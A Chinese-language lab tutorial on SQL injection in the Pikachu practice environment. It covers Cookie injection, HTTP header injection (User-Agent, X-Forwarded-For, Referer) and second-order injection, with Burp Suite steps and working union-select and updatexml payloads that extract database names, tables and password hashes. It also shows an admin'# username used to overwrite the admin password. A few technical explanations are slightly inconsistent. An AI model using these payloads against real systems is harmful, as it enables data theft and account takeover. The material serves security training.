SQL 注入进阶类型详细解析(含Cookie 注入、HTTP 头部注入(User-Agent/X-Forwarded-For/Referer)、二次注入)
本文详细解析了三种非传统SQL注入技术:Cookie注入、HTTP头部注入和二次注入。以皮卡丘靶场为实验环境,结合BurpSuite工具,提供了完整的操作指南:1)Cookie注入需通过修改请求头中的Cookie字段触发;2)HTTP头部注入(User-Agent/X-Forwarded-For/Referer)仅支持报错注入,需注意insert语句的特殊闭合方式;3)二次注入需通过"注
·
一、核心前置说明
本文聚焦Cookie 注入、HTTP 头部注入(User-Agent/X-Forwarded-For/Referer)、二次注入三种不常见 SQL 注入类型,基于皮卡丘靶场特定关卡(20 关 / 18 关 / 19 关 / 24 关)和PHPStudy 本地环境,结合Burp Suite 抓包工具,提供逐步骤实操指南,同时强调各类型的核心触发条件、闭合技巧、避坑要点,所有操作均需在授权环境下进行,未授权测试属于非法行为。
二、Cookie 注入(皮卡丘靶场 20 关)
(一)核心定义与触发条件
- 定义:注入点为 HTTP 请求头的
Cookie字段,而非传统 GET/POST 传参,原理与常规 SQL 注入一致,仅传参位置不同。 - 触发条件:后台将
Cookie值作为数据库查询参数,且未对Cookie值做过滤 / 转义。 - 靶场环境:皮卡丘靶场 20 关(登录页),默认账号
admin、密码admin。
(二)完整解题步骤
步骤 1:正常登录与页面分析
- 访问皮卡丘 20 关登录页,输入账号,密码,点击登录;
- 登录后页面显示:
User-Agent(客户端信息)、IP地址(127.0.0.1)、Cookie(含username=admin)、登录时间、账号密码等信息; - 观察页面无明显输入框,推测注入点可能在请求头字段(
User-Agent/IP/Cookie)。
步骤 2:Burp 抓包与注入点探测
- 打开 Burp Suite,开启抓包(Proxy→Intercept On),刷新登录后的页面,捕获 GET 请求数据包;
- 发送数据包到
Repeat模块,依次测试 3 个疑似注入点:- 测试 User-Agent:在
User-Agent字段末尾加单引号(Mozilla/5.0...'),发送后页面仅同步显示单引号,无数据库报错→排除注入点; - 测试 IP 字段:在
X-Forwarded-For字段(若不存在则手动添加)输入127.0.0.1',发送后页面无异常→排除注入点; - 测试 Cookie 字段:找到
Cookie中的username=admin,修改为username=admin',发送后页面抛出数据库语法报错(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' limit 0,1' at line 1)→确认 Cookie 为注入点,且为字符型注入(单引号闭合)。
- 测试 User-Agent:在
步骤 3:闭合测试与列数判断
- 构造闭合 Payload:
username=admin' and '1'='1(内嵌式闭合,避免破坏 SQL 语法),发送后页面正常显示→闭合成功; - 判断查询列数:使用
order by N语句,构造 Payload:username=admin' order by 3 --+(--+注释后续内容),发送后页面正常; - 测试
order by 4 --+,页面报错→确定后台查询 3 列数据。
步骤 4:联合查询找显示位
- 构造 Payload:
username=admin' and '1'='2 union select 1,2,3 --+(and '1'='2使前半部分查询无结果,显示联合查询内容); - 发送后页面显示
2、3→第 2、3 列为显示位。
步骤 5:提取敏感数据
- 获取当前数据库名:Payload:
username=admin' and '1'='2 union select 1,database(),version() --+,发送后显示当前数据库secret; - 获取数据库表名:Payload:
username=admin' and '1'='2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='secret' --+,显示表名(如user); - 获取账号密码:Payload:
username=admin' and '1'='2 union select 1,group_concat(username),group_concat(password) from secret.user --+,显示admin及对应的 MD5 加密密码; - 密码解密:将 MD5 密码放入
cmd5.com,解密得到明文。
步骤 6:报错注入验证(可选,效率更高)
- 构造报错 Payload(使用
updatexml函数):username=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+; - 发送后页面直接报错显示数据库名
secret,无需联合查询即可快速提数。
(三)核心关键点强调
- 注入点判断:无明显输入框时,优先测试请求头字段(
Cookie/User-Agent/Referer),添加单引号触发数据库报错是关键; - 闭合方式:字符型注入优先用
' and '1'='1内嵌式闭合,避免直接用--+导致 Cookie 字段解析异常; - 注释符选择:URL 传参可用
--+,Cookie 字段中建议用#(需 URL 编码为%23),避免+被解析为空格; - 后台逻辑:登录后后台会将用户名存入 Cookie,后续页面通过
select * from user where username='$cookie_value'查询,未过滤导致注入; - 避坑要点:修改 Cookie 后需确保请求头格式完整,避免遗漏其他 Cookie 字段(如会话 ID)导致登录失效。
三、HTTP 头部注入(皮卡丘靶场 18 关 / 19 关)
(一)核心定义与分类
- 定义:注入点为 HTTP 请求头的特定字段(
User-Agent/X-Forwarded-For/Referer),后台通过insert语句将字段值存入数据库,未做过滤。 - 分类与靶场对应:
User-Agent注入:皮卡丘 18 关;X-Forwarded-For注入:皮卡丘 18 关(手动添加字段);Referer注入:皮卡丘 19 关;
- 共性特征:基于
insert插入语句,仅支持报错注入,禁用--+/#注释符。
(二)User-Agent 注入(18 关)完整解题步骤
步骤 1:正常登录与抓包
- 访问皮卡丘 18 关,输入账号
admin、密码admin,登录后页面显示IP地址和User-Agent信息; - Burp 抓包刷新页面,捕获 GET 请求数据包,发送到
Repeat模块。
步骤 2:注入点探测
- 在
User-Agent字段末尾加单引号(Mozilla/5.0...'),发送后页面抛出数据库报错(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Mozilla/5.0...'' at line 1)→确认注入点; - 分析报错信息,判断字段值被单引号包裹,为字符型注入。
步骤 3:闭合测试(仅支持内嵌式)
- 构造闭合 Payload:
User-Agent: Mozilla/5.0...' and '1'='1,发送后页面无报错→闭合成功; - 尝试用
--+注释:User-Agent: Mozilla/5.0...' --+,发送后页面报错(insert语句语法不完整)→禁用终止式注释。
步骤 4:报错注入提数
- 获取当前数据库名:构造 Payload:
User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1;- 解析:
and '1'='1确保insert语句语法完整,updatexml函数触发报错,0x7e为波浪线(避免关键字冲突);
- 解析:
- 发送后页面报错显示数据库名(如
pikachu); - 获取表名:Payload:
User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and '1'='1; - 获取账号密码:Payload:
User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.user),0x7e),1) and '1'='1。
(三)X-Forwarded-For 注入(18 关)补充步骤
- 若数据包中无
X-Forwarded-For字段,在请求头手动添加:X-Forwarded-For: 127.0.0.1; - 注入点探测:修改为
X-Forwarded-For: 127.0.0.1',发送后报错→确认注入点; - 闭合与提数:Payload:
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1,后续步骤同 User-Agent 注入; - 格式要求:字段名与值之间必须加空格(
X-Forwarded-For: 127.0.0.1'),且请求头与请求体之间需空一行,否则请求失效。
(四)Referer 注入(19 关)补充步骤
- 访问皮卡丘 19 关,登录后页面显示
IP地址和Referer信息(Referer 为当前页面 URL); - Burp 抓包,修改
Referer字段为Referer: http://127.0.0.1/pikachu/',发送后报错→确认注入点; - 闭合与提数:Payload:
Referer: http://127.0.0.1/pikachu/' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1,其余步骤一致。
(五)核心关键点强调
- SQL 语句类型:后台执行
insert into user_agent(ip, user_agent, username) values('$ip', '$user_agent', '$username'),注入点在$ip/$user_agent/$referer,因是插入语句,不支持联合查询,仅能报错注入; - 闭合限制:必须用
' and '1'='1内嵌式闭合,终止式注释(--+/#)会导致insert语句缺少字段 / 值,直接报错; - 报错函数选择:优先用
updatexml/extractvalue,避免floor函数因数据量问题失效; - 字段添加规则:手动添加
X-Forwarded-For时,严格遵守 HTTP 协议格式,否则服务器无法解析; - 避坑要点:注入语句中需避免出现逗号(直接写会被解析为
insert字段分隔符),可用concat函数拼接数据。
四、二次注入(皮卡丘靶场 24 关)
(一)核心定义与触发条件
- 定义:需两步完成的注入,先向数据库插入恶意数据(含特殊字符),再通过业务逻辑引用该数据,触发 SQL 注入。
- 触发条件:
- 插入数据时,后台对特殊字符(单引号)做转义(如
addslashes函数),但存入数据库时还原为原始恶意数据; - 引用数据时,后台未做二次过滤,直接作为 SQL 参数执行。
- 插入数据时,后台对特殊字符(单引号)做转义(如
- 靶场环境:皮卡丘 24 关(登录 + 注册 + 密码修改功能)。
(二)完整解题步骤
步骤 1:注册恶意账号(插入恶意数据)
- 访问皮卡丘 24 关,点击 “注册”,填写注册信息:
- 用户名:
admin'#(核心恶意数据,#用于注释后续 SQL 内容); - 密码:
123456; - 确认密码:
123456;
- 用户名:
- 点击注册,页面提示 “注册成功”,此时恶意用户名
admin'#被存入数据库(后台转义后为admin\'#,存入时还原为admin'#)。
步骤 2:登录恶意账号
- 用注册的恶意账号(
admin'#)和密码(123456)登录,登录后进入个人中心,显示 “修改密码” 功能。
步骤 3:修改密码触发注入(引用恶意数据)
- 进入 “修改密码” 页面,输入:
- 当前密码:
123456; - 新密码:
123; - 确认新密码:
123;
- 当前密码:
- 点击 “修改”,页面提示 “密码修改成功”;
- 退出登录,尝试用
admin'#+ 新密码123登录→登录失败; - 用原始
admin账号 + 新密码123登录→登录成功→注入触发,成功篡改 admin 密码。
步骤 4:后台逻辑分析(关键验证)
- 修改密码时,后台执行 SQL 语句:
update user set password='123' where username='$username' and password='123456'; - 其中
$username为恶意账号admin'#,代入后语句变为:update user set password='123' where username='admin'# and password='123456'; #注释后续内容,最终执行:update user set password='123' where username='admin',导致 admin 密码被篡改。
(三)核心关键点强调
- 恶意数据设计:用户名必须包含
'#,'用于闭合 SQL 语句,#用于注释后续条件,二者缺一不可; - 转义与还原:注册时后台用
addslashes将admin'#转义为admin\'#,但存入数据库时转义符被去除,还原为admin'#,这是注入的核心前提; - 业务逻辑依赖:必须通过 “注册→登录→修改密码” 的完整流程,触发恶意数据被引用,单独注册或修改密码无法触发;
- 拓展场景:除登录注册外,留言板、评论区、信息提交 / 查看功能也可能存在二次注入,核心是 “插入数据→引用数据” 的流程;
- 避坑要点:注册时需确保恶意用户名符合格式要求(如长度限制),避免被前端表单验证拦截;修改密码时需输入正确的当前密码,否则后台会直接拒绝执行,无法触发注入。
五、通用工具使用与避坑指南
(一)Burp Suite 关键操作
- Repeat 模块使用:捕获数据包后发送到 Repeat 模块,便于反复修改参数测试,无需重复抓包;
- Payload 编码:涉及特殊字符(
#/'/空格)时,需手动 URL 编码(#→%23、'→%27、空格→%20); - Intercept 开关:测试时开启 Intercept,确认数据包修改无误后点击 “Forward” 发送,避免误操作。
(二)通用避坑要点
- 环境一致性:确保 PHPStudy 中 Apache、MySQL 正常启动,皮卡丘靶场配置正确(数据库连接正常);
- 报错信息开启:靶场需开启 MySQL 报错显示(
display_errors=On),否则无法通过报错判断注入点; - 权限控制:测试后及时恢复靶场默认数据(如 admin 密码),避免影响后续使用;
- 语法正确性:构造 SQL 语句时,确保括号、引号成对,避免因语法错误导致测试失效。
六、总结
三种注入类型的核心差异在于注入点位置和后台 SQL 语句类型:
- Cookie 注入:注入点
Cookie,后台select查询,支持联合 / 报错注入; - HTTP 头部注入:注入点请求头字段,后台
insert插入,仅支持报错注入; - 二次注入:无固定注入点,依赖 “插入→引用” 流程,利用数据还原与未二次过滤触发。
掌握各类型的闭合技巧(内嵌式 / 终止式)、注入方式选择(联合 / 报错)、靶场实操细节,可有效拓宽漏洞挖掘思路,同时需严格遵守网络安全法规,仅在授权环境下开展测试。
更多推荐



所有评论(0)